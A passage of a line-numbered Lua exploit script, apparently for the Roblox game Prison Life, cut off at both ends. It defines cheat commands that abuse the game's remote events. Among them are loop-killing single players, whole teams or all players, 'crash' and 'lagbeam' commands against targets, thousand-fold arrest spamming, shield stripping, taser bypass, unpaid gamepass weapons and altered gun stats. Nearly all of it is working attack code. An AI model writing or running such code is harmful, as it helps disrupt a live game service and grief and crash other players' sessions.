  1169. local Player = GetPlayer(Arg2)
  1170. if Player then
  1171. Beam(Player, math.huge, 7)
  1172. Notify("Beamed "..Player.Name, Color3.fromRGB(0, 255, 0), "Success")
  1173. else
  1174. Notify("No player found", Color3.fromRGB(255, 0, 0), "Error")
  1175. end
  1176. end
  1177. if Command("lagbeam") or Command("beam2") then
  1178. local Player = GetPlayer(Arg2)
  1179. if Player then
  1180. LagBeam(Player, math.huge, 7)
  1181. Notify("Lag beamed "..Player.Name, Color3.fromRGB(255, 0, 0), "Success")
  1182. else
  1183. Notify("No player found", Color3.fromRGB(255, 0, 0), "Error")
  1184. end
  1185. end
  1186. if Command("crash") or Command("beam3") then
  1187. local Player = GetPlayer(Arg2)
  1188. if Player then
  1189. LagBeam(Player, math.huge, 9000)
  1190. Notify("Crashed "..Player.Name, Color3.fromRGB(0, 255, 0), "Success")
  1191. else
  1192. Notify("No player found", Color3.fromRGB(255, 0, 0), "Error")
  1193. end
  1194. end
  1195. if Command("antispamarrest") then
  1196. States.Anti_Spam_Arrest = true
  1197. Notify("Turn anti spam arrest on", Color3.fromRGB(0, 255, 0), "Success")
  1198. while wait() do
  1199. if States.Anti_Spam_Arrest then
  1200. pcall(function()
  1201. if game.Players.LocalPlayer.Character.Head:FindFirstChild("handcuffedGui") then
  1202. repeat wait()
  1203. coroutine.wrap(function()
  1204. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(888, 100, 2388)
  1205. workspace.Remote.TeamEvent:FireServer("Medium stone grey")
  1206. workspace.Remote.TeamEvent:FireServer("Bright blue")
  1207. end)()
  1208. until game.Players.LocalPlayer.TeamColor.Name == "Bright blue"
  1209. wait(.1)
  1210. for i = 1,10 do
  1211. workspace.Remote.TeamEvent:FireServer("Medium stone grey")
  1212. end
  1213. end
  1214. end)
  1215. end
  1216. end
  1217. end
  1218. if Command("unantispamarrest") then
  1219. States.Anti_Spam_Arrest = false
  1220. Notify("Turn anti spam arrest off", Color3.fromRGB(0, 255, 0), "Success")
  1221. end
  1222. if Command("inmate") or Command("inmates") or Command("prisoner") or Command("prisoners") then
  1223. workspace.Remote.TeamEvent:FireServer("Bright orange")
  1224. Notify("Become inmate", Color3.fromRGB(0, 255, 0), "Success")
  1225. end
  1226. if Command("guard") or Command("guards") or Command("cop") or Command("polices") or Command("cops") then
  1227. workspace.Remote.TeamEvent:FireServer("Bright blue")
  1228. if game.Players.LocalPlayer.TeamColor.Name == "Bright blue" then
  1229. Notify("Become guard", Color3.fromRGB(0, 255, 0), "Success")
  1230. else
  1231. Notify("Fulled team", Color3.fromRGB(255, 0, 0), "Error")
  1232. end
  1233. end
  1234. if Command("gun") or Command("guns") or Command("allguns") then
  1235. if BuyGamepass then
  1236. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["Remington 870"].ITEMPICKUP)
  1237. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["M4A1"].ITEMPICKUP)
  1238. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["AK-47"].ITEMPICKUP)
  1239. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["M9"].ITEMPICKUP)
  1240. else
  1241. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["Remington 870"].ITEMPICKUP)
  1242. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["AK-47"].ITEMPICKUP)
  1243. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["M9"].ITEMPICKUP)
  1244. end
  1245. Notify("Get all guns", Color3.fromRGB(0, 255, 0), "Success")
  1246. end
  1247. if Command("autogun") or Command("autoguns") or Command("autoallguns") then
  1248. States.Auto_Guns = true
  1249. Notify("Turn auto guns on", Color3.fromRGB(0, 255, 0), "Success")
  1250. if BuyGamepass then
  1251. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["Remington 870"].ITEMPICKUP)
  1252. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["M4A1"].ITEMPICKUP)
  1253. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["AK-47"].ITEMPICKUP)
  1254. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["M9"].ITEMPICKUP)
  1255. else
  1256. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["Remington 870"].ITEMPICKUP)
  1257. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["AK-47"].ITEMPICKUP)
  1258. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["M9"].ITEMPICKUP)
  1259. end
  1260. game.Players.LocalPlayer.CharacterAdded:Connect(function()
  1261. if States.Auto_Guns then
  1262. pcall(function()
  1263. if BuyGamepass then
  1264. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["Remington 870"].ITEMPICKUP)
  1265. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["M4A1"].ITEMPICKUP)
  1266. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["AK-47"].ITEMPICKUP)
  1267. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["M9"].ITEMPICKUP)
  1268. else
  1269. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["Remington 870"].ITEMPICKUP)
  1270. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["AK-47"].ITEMPICKUP)
  1271. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["M9"].ITEMPICKUP)
  1272. end
  1273. end)
  1274. end
  1275. end)
  1276. end
  1277. if Command("unautogun") or Command("unautoguns") or Command("unautoallguns") then
  1278. States.Auto_Guns = false
  1279. Notify("Turn auto guns off", Color3.fromRGB(0, 255, 0), "Success")
  1280. end
  1281. if Command("loopgoto") or Command("loopto") then
  1282. local Player = GetPlayer(Arg2)
  1283. if Player then
  1284. States.LoopGoto = true
  1285. repeat wait()
  1286. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Player.Character.HumanoidRootPart.CFrame
  1287. until not States.LoopGoto or not game.Players[Player.Name]
  1288. end
  1289. end
  1290. if Command("unloopgoto") or Command("unloopto") then
  1291. States.LoopGoto = false
  1292. end
  1293. if Command("checkscriptowner") or Command("findowner") then
  1294. for i,v in pairs(game.Players:GetPlayers()) do
  1295. if v.DisplayName == "Hack" and v.Name == "ih4xalots" then
  1296. ChatNotify("Script owner : "..v.Name.." / "..v.DisplayName, Color3.fromRGB(0, 255, 0))
  1297. end
  1298. end
  1299. end
  1300. if Command("getplayer") or Command("getplayers") then
  1301. ChatNotify("Players : "..#game.Players:GetPlayers(), Color3.fromRGB(255, 255, 255))
  1302. end
  1303. if Command("autofire") then
  1304. if game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool"):FindFirstChild("GunStates") then
  1305. local Gun = require(game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").GunStates)
  1306. Gun["AutoFire"] = true
  1307. Notify("Turn auto fire", Color3.fromRGB(0, 255, 0), "Success")
  1308. else
  1309. Notify("Equip a gun", Color3.fromRGB(255, 0, 0), "Error")
  1310. end
  1311. end
  1312. if Command("semifire") then
  1313. if game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool"):FindFirstChild("GunStates") then
  1314. local Gun = require(game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").GunStates)
  1315. Gun["AutoFire"] = false
  1316. Notify("Turn semi fire", Color3.fromRGB(0, 255, 0), "Success")
  1317. else
  1318. Notify("Equip a gun", Color3.fromRGB(255, 0, 0), "Error")
  1319. end
  1320. end
  1321. if Command("firespeed") or Command("setfirespeed") then
  1322. if game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool"):FindFirstChild("GunStates") then
  1323. local Gun = require(game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").GunStates)
  1324. if tonumber(Arg2) ~= nil then
  1325. Gun["FireRate"] = tonumber(Arg2)
  1326. Notify("Set a gun fire speed to "..tonumber(Arg2), Color3.fromRGB(0, 255, 0), "Success")
  1327. else
  1328. Notify("Counts needed", Color3.fromRGB(255, 0, 0), "Error")
  1329. end
  1330. else
  1331. Notify("Equip a gun", Color3.fromRGB(255, 0, 0), "Error")
  1332. end
  1333. end
  1334. if Command("burst") or Command("burstbullets") or Command("bullets") then
  1335. if game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool"):FindFirstChild("GunStates") then
  1336. local Gun = require(game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").GunStates)
  1337. if tonumber(Arg2) ~= nil then
  1338. Gun["Bullets"] = tonumber(Arg2)
  1339. Notify("Set a gun burst bullets to "..tonumber(Arg2), Color3.fromRGB(0, 255, 0), "Success")
  1340. else
  1341. Notify("Counts needed", Color3.fromRGB(255, 0, 0), "Error")
  1342. end
  1343. else
  1344. Notify("Equip a gun", Color3.fromRGB(255, 0, 0), "Error")
  1345. end
  1346. end
  1347. if Command("reloadtime") or Command("reloadtimes") then
  1348. if game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool"):FindFirstChild("GunStates") then
  1349. local Gun = require(game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").GunStates)
  1350. if tonumber(Arg2) ~= nil then
  1351. Gun["ReloadTime"] = tonumber(Arg2)
  1352. Notify("Set a gun reload time to "..tonumber(Arg2), Color3.fromRGB(0, 255, 0), "Success")
  1353. else
  1354. Notify("Counts needed", Color3.fromRGB(255, 0, 0), "Error")
  1355. end
  1356. else
  1357. Notify("Equip a gun", Color3.fromRGB(255, 0, 0), "Error")
  1358. end
  1359. end
  1360. if Command("criminal") or Command("criminals") or Command("crim") or Command("crims") or Command("crimes") or Command("crime") then
  1361. local savedcf = GetPos()
  1362. local savedcamcf = GetCamPos()
  1363. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new("Really red").Name)
  1364. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  1365. workspace.CurrentCamera.CFrame = savedcamcf
  1366. Notify("Become a criminal", Color3.fromRGB(0, 255, 0), "Success")
  1367. end
  1368. if Command("neutral") or Command("neutrals") then
  1369. workspace.Remote.TeamEvent:FireServer("Medium stone grey")
  1370. Notify("Become neutral", Color3.fromRGB(0, 255, 0), "Success")
  1371. end
  1372. if Command("red") then
  1373. local savedcf = GetPos()
  1374. local savedcamcf = GetCamPos()
  1375. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new("Bright red").Name)
  1376. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  1377. workspace.CurrentCamera.CFrame = savedcamcf
  1378. Notify("Changed name tag color to "..Arg1:split("."), Color3.fromRGB(0, 255, 0), "Success")
  1379. end
  1380. if Command("blue") then
  1381. local savedcf = GetPos()
  1382. local savedcamcf = GetCamPos()
  1383. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new("Deep blue").Name)
  1384. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  1385. workspace.CurrentCamera.CFrame = savedcamcf
  1386. Notify("Changed name tag color to "..Arg1:split("."), Color3.fromRGB(0, 255, 0), "Success")
  1387. end
  1388. if Command("black") then
  1389. local savedcf = GetPos()
  1390. local savedcamcf = GetCamPos()
  1391. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new("Really black").Name)
  1392. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  1393. workspace.CurrentCamera.CFrame = savedcamcf
  1394. Notify("Changed name tag color to "..Arg1:split("."), Color3.fromRGB(0, 255, 0), "Success")
  1395. end
  1396. if Command("pink") then
  1397. local savedcf = GetPos()
  1398. local savedcamcf = GetCamPos()
  1399. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new("Hot pink").Name)
  1400. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  1401. workspace.CurrentCamera.CFrame = savedcamcf
  1402. Notify("Changed name tag color to "..Arg1:split("."), Color3.fromRGB(0, 255, 0), "Success")
  1403. end
  1404. if Command("grey") then
  1405. local savedcf = GetPos()
  1406. local savedcamcf = GetCamPos()
  1407. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new("Ghost grey").Name)
  1408. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  1409. workspace.CurrentCamera.CFrame = savedcamcf
  1410. Notify("Changed name tag color to "..Arg1:split("."), Color3.fromRGB(0, 255, 0), "Success")
  1411. end
  1412. if Command("white") then
  1413. local savedcf = GetPos()
  1414. local savedcamcf = GetCamPos()
  1415. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new("White").Name)
  1416. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  1417. workspace.CurrentCamera.CFrame = savedcamcf
  1418. Notify("Changed name tag color to "..Arg1:split("."), Color3.fromRGB(0, 255, 0), "Success")
  1419. end
  1420. if Command("brown") then
  1421. local savedcf = GetPos()
  1422. local savedcamcf = GetCamPos()
  1423. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new("Brown").Name)
  1424. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  1425. workspace.CurrentCamera.CFrame = savedcamcf
  1426. Notify("Changed name tag color to "..Arg1:split("."), Color3.fromRGB(0, 255, 0), "Success")
  1427. end
  1428. if Command("purple") then
  1429. local savedcf = GetPos()
  1430. local savedcamcf = GetCamPos()
  1431. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new("Royal purple").Name)
  1432. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  1433. workspace.CurrentCamera.CFrame = savedcamcf
  1434. Notify("Changed name tag color to "..Arg1:split("."), Color3.fromRGB(0, 255, 0), "Success")
  1435. end
  1436. if Command("green") then
  1437. local savedcf = GetPos()
  1438. local savedcamcf = GetCamPos()
  1439. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new("Bright green").Name)
  1440. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  1441. workspace.CurrentCamera.CFrame = savedcamcf
  1442. Notify("Changed name tag color to "..Arg1:split("."), Color3.fromRGB(0, 255, 0), "Success")
  1443. end
  1444. if Command("yellow") then
  1445. local savedcf = GetPos()
  1446. local savedcamcf = GetCamPos()
  1447. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new("Bright yellow").Name)
  1448. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  1449. workspace.CurrentCamera.CFrame = savedcamcf
  1450. Notify("Changed name tag color to "..Arg1:split("."), Color3.fromRGB(0, 255, 0), "Success")
  1451. end
  1452. if Command("orange") then
  1453. local savedcf = GetPos()
  1454. local savedcamcf = GetCamPos()
  1455. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new("Neon orange").Name)
  1456. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  1457. workspace.CurrentCamera.CFrame = savedcamcf
  1458. Notify("Changed name tag color to "..Arg1:split("."), Color3.fromRGB(0, 255, 0), "Success")
  1459. end
  1460. if Command("chatnotify") then
  1461. States.ChatNotify = true
  1462. Notify("Turn chat notify on", Color3.fromRGB(0, 255, 0), "Success")
  1463. end
  1464. if Command("nochatnotify") or Command("unchatnotify") then
  1465. States.ChatNotify = false
  1466. Notify("Turn chat notify off", Color3.fromRGB(0, 255, 0), "Success")
  1467. end
  1468. if Command("taserbypass") or Command("lock") or Command("antitaser") then
  1469. States.TaserBypass = true
  1470. Notify("Turn taser bypass on", Color3.fromRGB(0, 255, 0), "Success")
  1471. game.Players.LocalPlayer.CharacterAdded:Connect(function()
  1472. if States.TaserBypass then
  1473. wait(.2)
  1474. game.Players.LocalPlayer.Character.ClientInputHandler.Disabled = true
  1475. game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 24
  1476. game.Players.LocalPlayer.Character.Humanoid.JumpPower = 50
  1477. end
  1478. end)
  1479. end
  1480. if Command("notaserbypass") or Command("unlock") or Command("untaserbypass") then
  1481. States.TaserBypass = false
  1482. Notify("Turn taser bypass off", Color3.fromRGB(0, 255, 0), "Success")
  1483. game.Players.LocalPlayer.Character.ClientInputHandler.Disabled = false
  1484. game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16
  1485. game.Players.LocalPlayer.Character.Humanoid.JumpPower = 50
  1486. end
  1487. if Command("color") then
  1488. if Arg2 ~= nil and Arg3 == nil then
  1489. local savedcf = GetPos()
  1490. workspace.Remote.loadchar:InvokeServer(nil, Arg2)
  1491. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  1492. elseif Arg2 ~= nil and Arg3 ~= nil and Arg4 == nil then
  1493. local savedcf = GetPos()
  1494. workspace.Remote.loadchar:InvokeServer(nil, Arg2.." "..Arg3)
  1495. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  1496. elseif Arg2 ~= nil and Arg3 ~= nil and Arg4 ~= nil then
  1497. local savedcf = GetPos()
  1498. workspace.Remote.loadchar:InvokeServer(nil, Arg2.." "..Arg3.." "..Arg4)
  1499. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  1500. end
  1501. Notify("Changed name tag color", Color3.fromRGB(0, 255, 0), "Success")
  1502. end
  1503. if Command("print") then
  1504. print(Message)
  1505. Notify("Printed", Color3.fromRGB(0, 255, 0), "Success")
  1506. end
  1507. if Command("warn") then
  1508. warn(Message)
  1509. Notify("Warned", Color3.fromRGB(0, 255, 0), "Success")
  1510. end
  1511. if Command("error") then
  1512. Notify("Printed error", Color3.fromRGB(0, 255, 0), "Success")
  1513. error(Message)
  1514. end
  1515. if Command("chat") then
  1516. Chat(Message)
  1517. Notify("Chatted", Color3.fromRGB(0, 255, 0), "Success")
  1518. end
  1519. if Command("copychat") then
  1520. States.CopyChat = true
  1521. Notify("Turn copy chat on", Color3.fromRGB(0, 255, 0), "Success")
  1522. end
  1523. if Command("uncopychat") then
  1524. States.CopyChat = false
  1525. Notify("Turn copy chat off", Color3.fromRGB(0, 255, 0), "Success")
  1526. end
  1527. if Command("tase") then
  1528. local Player = GetPlayer(Arg2)
  1529. if Player ~= nil then
  1530. Tase(Player)
  1531. Notify("Tased "..Player.Name, Color3.fromRGB(0, 255, 0), "Success")
  1532. else
  1533. Notify("No player found", Color3.fromRGB(255, 0, 0), "Error")
  1534. end
  1535. end
  1536. if Command("noshield") or Command("antishield") then
  1537. States.Anti_Shield = true
  1538. Notify("Turn anti shield users on", Color3.fromRGB(0, 255, 0), "Success")
  1539. while wait() do
  1540. for i,v in pairs(game.Players:GetPlayers()) do
  1541. pcall(function()
  1542. if workspace[v.Name].Torso:FindFirstChild("ShieldFolder") then
  1543. workspace[v.Name].Torso:FindFirstChild("ShieldFolder"):Destroy()
  1544. end
  1545. end)
  1546. end
  1547. end
  1548. end
  1549. if Command("unantishield") then
  1550. States.Anti_Shield = false
  1551. Notify("Turn anti shield users off", Color3.fromRGB(0, 255, 0), "Success")
  1552. end
  1553. if Command("kill") or Command("kills") then
  1554. local Player = GetPlayer(Arg2)
  1555. if Player ~= nil then
  1556. Kill(Player)
  1557. Notify("Killed "..Player.Name, Color3.fromRGB(0, 255, 0), "Success")
  1558. else
  1559. Notify("No player found", Color3.fromRGB(255, 0, 0), "Error")
  1560. end
  1561. end
  1562. if Command("killall") then
  1563. for i,v in pairs(game.Players:GetPlayers()) do
  1564. if v ~= game.Players.LocalPlayer then
  1565. Kill(v)
  1566. end
  1567. end
  1568. Notify("Killed all players", Color3.fromRGB(0, 255, 0), "Success")
  1569. end
  1570. if Command("killinmate") or Command("killinmates") or Command("killsinmate") or Command("killsinmates") then
  1571. for i,v in pairs(game.Players:GetPlayers()) do
  1572. if v ~= game.Players.LocalPlayer then
  1573. if v.TeamColor.Name == "Bright orange" then
  1574. Kill(v)
  1575. end
  1576. end
  1577. end
  1578. Notify("Killed all inmates", Color3.fromRGB(0, 255, 0), "Success")
  1579. end
  1580. if Command("killguard") or Command("killsguard") or Command("killguards") or Command("killsguards") then
  1581. for i,v in pairs(game.Players:GetPlayers()) do
  1582. if v ~= game.Players.LocalPlayer then
  1583. if v.TeamColor.Name == "Bright blue" then
  1584. Kill(v)
  1585. end
  1586. end
  1587. end
  1588. Notify("Killed all guards", Color3.fromRGB(0, 255, 0), "Success")
  1589. end
  1590. if Command("killcriminal") or Command("killscriminal") or Command("killcriminals") or Command("killscriminals") then
  1591. for i,v in pairs(game.Players:GetPlayers()) do
  1592. if v ~= game.Players.LocalPlayer then
  1593. if v.TeamColor.Name == "Really red" then
  1594. Kill(v)
  1595. end
  1596. end
  1597. end
  1598. Notify("Killed all criminals", Color3.fromRGB(0, 255, 0), "Success")
  1599. end
  1600. if Command("loopkill") or Command("loopkills") then
  1601. local Player = GetPlayer(Arg2)
  1602. if Player ~= nil and not LoopKill[Player.UserId] then
  1603. LoopKill[Player.UserId] = {Player = Player}
  1604. Notify("Looping kills "..Player.Name, Color3.fromRGB(0, 255, 0), "Success")
  1605. else
  1606. Notify("No player found / already loop kills", Color3.fromRGB(255, 0, 0), "Error")
  1607. end
  1608. end
  1609. if Command("unloopkill") or Command("unloopkills") then
  1610. local Player = GetPlayer(Arg2)
  1611. if Player ~= nil and LoopKill[Player.UserId] then
  1612. LoopKill[Player.UserId] = nil
  1613. Notify("Unloop kills "..Player.Name, Color3.fromRGB(0, 255, 0), "Success")
  1614. else
  1615. Notify("No player found / Player has no loop kills", Color3.fromRGB(255, 0, 0), "Error")
  1616. end
  1617. end
  1618. if Command("loopkillguard") or Command("loopkillguards") or Command("loopkillsguard") or Command("loopkillsguards") or Command("loopkillcop") or Command("loopkillpolices") or Command("loopkillspolices") then
  1619. States.LoopKill_Guards = true
  1620. Notify("Looping kills all guards", Color3.fromRGB(0, 255, 0), "Success")
  1621. while wait() do
  1622. if States.LoopKill_Guards then
  1623. for i,v in pairs(game.Teams.Guards:GetPlayers()) do
  1624. if v ~= game.Players.LocalPlayer then
  1625. pcall(function()
  1626. if v.Character.Humanoid.Health > 0 and v.Character.Head and v.Character and v ~= nil then
  1627. Kill(v)
  1628. end
  1629. end)
  1630. end
  1631. end
  1632. end
  1633. end
  1634. end
  1635. if Command("unloopkillguard") or Command("unloopkillguards") or Command("unloopkillsguard") or Command("unloopkillsguards") or Command("unloopkillcop") or Command("unloopkillpolices") or Command("unloopkillspolices") then
  1636. States.LoopKill_Guards = false
  1637. Notify("Unloop kills all guards", Color3.fromRGB(0, 255, 0), "Success")
  1638. end
  1639. if Command("loopkillinmate") or Command("loopkillinmates") or Command("loopkillsinmate") or Command("loopkillsinmates") or Command("loopkillprisoner") or Command("loopkillprisoners") then
  1640. States.LoopKill_Inmates = true
  1641. Notify("Looping kills all inmates", Color3.fromRGB(0, 255, 0), "Success")
  1642. while wait() do
  1643. if States.LoopKill_Inmates then
  1644. for i,v in pairs(game.Teams.Inmates:GetPlayers()) do
  1645. if v ~= game.Players.LocalPlayer then
  1646. pcall(function()
  1647. if v.Character.Humanoid.Health > 0 and v.Character.Head and v.Character and v ~= nil then
  1648. Kill(v)
  1649. end
  1650. end)
  1651. end
  1652. end
  1653. end
  1654. end
  1655. end
  1656. if Command("unloopkillinmate") or Command("unloopkillinmates") or Command("unloopkillsinmate") or Command("unloopkillsinmates") or Command("unloopkillprisoner") or Command("unloopkillprisoners") then
  1657. States.LoopKill_Inmates = false
  1658. Notify("Unloop kills all inmates", Color3.fromRGB(0, 255, 0), "Success")
  1659. end
  1660. if Command("loopkillcriminal") or Command("loopkillcriminals") or Command("loopkillscriminal") or Command("loopkillscriminals") or Command("loopkillcrim") or Command("loopkillcrims") then
  1661. States.LoopKill_Criminals = true
  1662. Notify("Looping kills all criminals", Color3.fromRGB(0, 255, 0), "Success")
  1663. while wait() do
  1664. if States.LoopKill_Criminals then
  1665. for i,v in pairs(game.Teams.Criminals:GetPlayers()) do
  1666. if v ~= game.Players.LocalPlayer then
  1667. pcall(function()
  1668. if v.Character.Humanoid.Health > 0 and v.Character.Head and v.Character and v ~= nil then
  1669. Kill(v)
  1670. end
  1671. end)
  1672. end
  1673. end
  1674. end
  1675. end
  1676. end
  1677. if Command("unloopkillcriminal") or Command("unloopkillcriminals") or Command("unloopkillscriminal") or Command("unloopkillscrriminals") or Command("unloopkillcrim") or Command("unloopkillcrims") then
  1678. States.LoopKill_Criminals = false
  1679. Notify("Unlooping kills all criminals", Color3.fromRGB(0, 255, 0), "Success")
  1680. end
  1681. if Command("loopkillall") or Command("loopkillsall") then
  1682. States.LoopKill_Others = true
  1683. Notify("Looping kills all players", Color3.fromRGB(0, 255, 0), "Success")
  1684. while wait() do
  1685. if States.LoopKill_Others then
  1686. for i,v in pairs(game.Players:GetPlayers()) do
  1687. if v ~= game.Players.LocalPlayer then
  1688. pcall(function()
  1689. if v.Character.Humanoid.Health > 0 and v.Character.Head and v.Character and v ~= nil then
  1690. Kill(v)
  1691. end
  1692. end)
  1693. end
  1694. end
  1695. end
  1696. end
  1697. end
  1698. if Command("unloopkillall") or Command("unloopkillsall") then
  1699. States.LoopKill_Criminals = false
  1700. States.LoopKill_Guards = false
  1701. States.LoopKill_Inmates = false
  1702. States.LoopKill_Others = false
  1703. Notify("Unlooping kills all players", Color3.fromRGB(0, 255, 0), "Success")
  1704. end
  1705. if Command("goto") or Command("to") then
  1706. local Player = GetPlayer(Arg2)
  1707. if Player ~= nil then
  1708. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = workspace[Player.Name].HumanoidRootPart.CFrame
  1709. Notify("Go to "..Player.Name, Color3.fromRGB(0, 255, 0), "Success")
  1710. else
  1711. Notify("No player found", Color3.fromRGB(255, 0, 0), "Error")
  1712. end
  1713. end
  1714. if Command("re") or Command("refresh") then
  1715. if game.Players.LocalPlayer.TeamColor.Name ~= "Medium stone grey" then
  1716. if game.Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
  1717. local savedcf = GetPos()
  1718. local savedcamcf = GetCamPos()
  1719. workspace.Remote.loadchar:InvokeServer()
  1720. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  1721. workspace.CurrentCamera.CFrame = savedcamcf
  1722. end
  1723. else
  1724. if game.Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
  1725. local savedcf = GetPos()
  1726. local savedcamcf = GetCamPos()
  1727. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new("Bright orange").Name)
  1728. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  1729. workspace.CurrentCamera.CFrame = savedcamcf
  1730. workspace.Remote.TeamEvent:FireServer("Medium stone grey")
  1731. end
  1732. end
  1733. Notify("Refreshed", Color3.fromRGB(0, 255, 0), "Success")
  1734. end
  1735. if Command("res") or Command("respawn") then
  1736. if game.Players.LocalPlayer.TeamColor.Name ~= "Medium stone grey" then
  1737. workspace.Remote.loadchar:InvokeServer()
  1738. else
  1739. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new("Bright orange").Name)
  1740. local savedcf = GetPos()
  1741. local savedcamcf = GetCamPos()
  1742. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new("Really red").Name)
  1743. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  1744. workspace.CurrentCamera.CFrame = savedcamcf
  1745. workspace.Remote.TeamEvent:FireServer("Medium stone grey")
  1746. end
  1747. Notify("Respawned", Color3.fromRGB(0, 255, 0), "Success")
  1748. end
  1749. if Command("looparrest") or Command("spamarrest") then
  1750. local Player = GetPlayer(Arg2)
  1751. if Player ~= nil then
  1752. Notify("Spam arresting "..Player.Name, Color3.fromRGB(0, 255, 0), "Success")
  1753. States.SpamArrest = true
  1754. repeat wait()
  1755. if game.Players[Player.Name] and States.SpamArrest then
  1756. local Player_Previos_Team = Player.TeamColor.Name
  1757. if Player.TeamColor.Name == "Bright orange" then
  1758. Teleport(Player, CFrame.new(979.55584716797, 99.990005493164, 2341.4069824219))
  1759. end
  1760. if Player.TeamColor.Name ~= "Bright orange" and Player.TeamColor.Name ~= "Really red" then
  1761. repeat Teleport(Player, CFrame.new(-976, 110, 2070)) until Player.TeamColor.Name == "Really red" or not game.Players[Player.Name]
  1762. end
  1763. if Player_Previos_Team == "Bright orange" then
  1764. repeat wait()
  1765. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Player.Character.HumanoidRootPart.CFrame * CFrame.new(0, 0, 1)
  1766. for i = 1,1000 do
  1767. coroutine.wrap(function()
  1768. ArrestEvent(Player, math.huge)
  1769. end)()
  1770. end
  1771. until Player.Character.Head:FindFirstChild("handcuffedGui") or not game.Players[Player.Name]
  1772. else
  1773. if Player.TeamColor.Name == "Really red" then
  1774. repeat wait()
  1775. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Player.Character.HumanoidRootPart.CFrame * CFrame.new(0, 0, 1)
  1776. for i = 1,1000 do
  1777. coroutine.wrap(function()
  1778. ArrestEvent(Player, math.huge)
  1779. end)()
  1780. end
  1781. until Player.Character.Head:FindFirstChild("handcuffedGui") or not game.Players[Player.Name]
  1782. end
  1783. end
  1784. end
  1785. until not game.Players[Player.Name] or not States.SpamArrest
  1786. end
  1787. end
  1788. if Command("unlooparrest") or Command("unspamarrest") then
  1789. States.SpamArrest = false
  1790. Notify("Unspam arrest", Color3.fromRGB(0, 255, 0), "Success")
  1791. end
  1792. if Command("view") or Command("spectate") or Command("watch") then
  1793. local Player = GetPlayer(Arg2)
  1794. if Player ~= nil then
  1795. Watching = Player
